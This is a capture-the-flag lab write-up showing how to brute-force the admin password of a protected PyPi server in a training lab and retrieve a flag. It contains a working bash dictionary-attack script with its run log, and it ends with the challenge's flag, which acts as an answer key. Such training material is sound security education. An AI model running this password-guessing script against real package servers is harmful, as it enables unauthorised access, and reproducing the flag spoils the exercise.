
ATTACK
DEFENSE
by PentesterAcademy

Name	PyPi Server: Dictionary Attack
URL	https://www.attackdefense.com/challengedetails?cid=1054
Type	Code Repository : Python PyPi

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

A flag file is kept in PyWinWiFi python package which is hosted on a protected PyPi server.

Objective: Figure out the credentials for PyPi server and retrieve the flag!

Solution:

Step 1: Search for PyWinWiFi package using pip search

Command: pip search pywinwifi

```
root@attackdefense:~#
root@attackdefense:~# pip search pywinwifi
User for 192.75.9.3: admin
Password:
```

Step 2: As mentioned in the challenges, PyPi server is protected. Write a script to perform dictionary attack on it.

Commands:
vim dict-attacks.sh
cat dict-attacks.sh

Code:

```
#! /bin/bash
serverip=$1
username=$2
while read F ; do
echo "Trying $F"
pip search --index http://$username:$F@$serverip e  2>/dev/null
if [ $? -eq 0 ] ; then
    echo "Password Found: "$F
    break
fi
done < $3
```

```
root@attackdefense:~# vim dict-attack.sh
root@attackdefense:~#
root@attackdefense:~# cat dict-attack.sh
#! /bin/bash
serverip=$1
username=$2
while read F ; do
echo "Trying $F"
pip search --index http://$username:$F@$serverip e  2>/dev/null
if [ $? -eq 0 ] ; then
    echo "Password Found: "$F
    break
fi
done < $3
root@attackdefense:~#
```

Step 3: Make this script executable and run it.

Commands:

```
chmod +x dict-attacks.sh
./dict-attack.sh 192.75.9.3 admin /root/100-common-passwords.txt
```

```
root@attackdefense:~#
root@attackdefense:~# chmod +x dict-attack.sh
root@attackdefense:~# ./dict-attack.sh 192.75.9.3 admin /root/100-common-passwords.txt
Trying 242424
Trying 0987654321
Trying marisol
```

```
Trying lover1
Trying chicago
s3transfer (0.2.0)  - 0.2.0
requests (2.22.0)   - 2.22.0
  INSTALLED: 2.22.0 (latest)
Password Found: chicago
root@attackdefense:~#
```

Correct password is chicago

Step 4: Install the pywinwifi package using pip install

Command: pip install pywinwifi

```
root@attackdefense:~# pip install pywinwifi
Collecting pywinwifi
User for 192.75.9.3: admin
Password:
  Downloading http://192.75.9.3/packages/pywinwifi-1.0.0.zip
Building wheels for collected packages: pywinwifi
  Running setup.py bdist_wheel for pywinwifi ... done
  Stored in directory: /root/.cache/pip/wheels/41/1f/ae/6869c0862eba501f128cc7adecd1f3908e9ea3dcb4ada7d3ba
Successfully built pywinwifi
Installing collected packages: pywinwifi
Successfully installed pywinwifi-1.0.0
root@attackdefense:~#
```

Step 5: Look for installed pywinwifi directory. Change to it and check its contents.

Commands:
find / -name pywinwifi 2>/dev/null
cd /usr/local/lib/python2.7/dist-packages/pywinwifi
ls -l

```
root@attackdefense:~# find / -name pywinwifi 2>/dev/null
/usr/local/lib/python2.7/dist-packages/pywinwifi
root@attackdefense:~#
root@attackdefense:~# cd /usr/local/lib/python2.7/dist-packages/pywinwifi
root@attackdefense:/usr/local/lib/python2.7/dist-packages/pywinwifi# ls -l
total 312
-rw-r--r-- 1 root staff 65992 Jun  5 11:21 WindowsNativeWifiApi.py
-rw-r--r-- 1 root staff 58092 Jun  5 11:21 WindowsNativeWifiApi.pyc
-rw-r--r-- 1 root staff 40680 Jun  5 11:21 WindowsWifi.py
-rw-r--r-- 1 root staff 34956 Jun  5 11:21 WindowsWifi.pyc
-rw-r--r-- 1 root staff    24 Jun  5 11:21 __init__.py
-rw-r--r-- 1 root staff   180 Jun  5 11:21 __init__.pyc
-rw-r--r-- 1 root staff    33 Jun  5 11:21 flag.py
-rw-r--r-- 1 root staff 51479 Jun  5 11:21 pywinwifi.py
-rw-r--r-- 1 root staff 43984 Jun  5 11:21 pywinwifi.pyc
root@attackdefense:/usr/local/lib/python2.7/dist-packages/pywinwifi#
```

Step 6: Retrieve the flag.

Command: cat flag.py

```
root@attackdefense:/usr/local/lib/python2.7/dist-packages/pywinwifi#
root@attackdefense:/usr/local/lib/python2.7/dist-packages/pywinwifi# cat flag.py
1419b0dca7c62d01b7c06185402c0d43
root@attackdefense:/usr/local/lib/python2.7/dist-packages/pywinwifi#
```

Flag: 1419b0dca7c62d01b7c06185402c0d43

References:

1. pypi (https://pypi.org)
2. pip (https://pypi.org/project/pip/)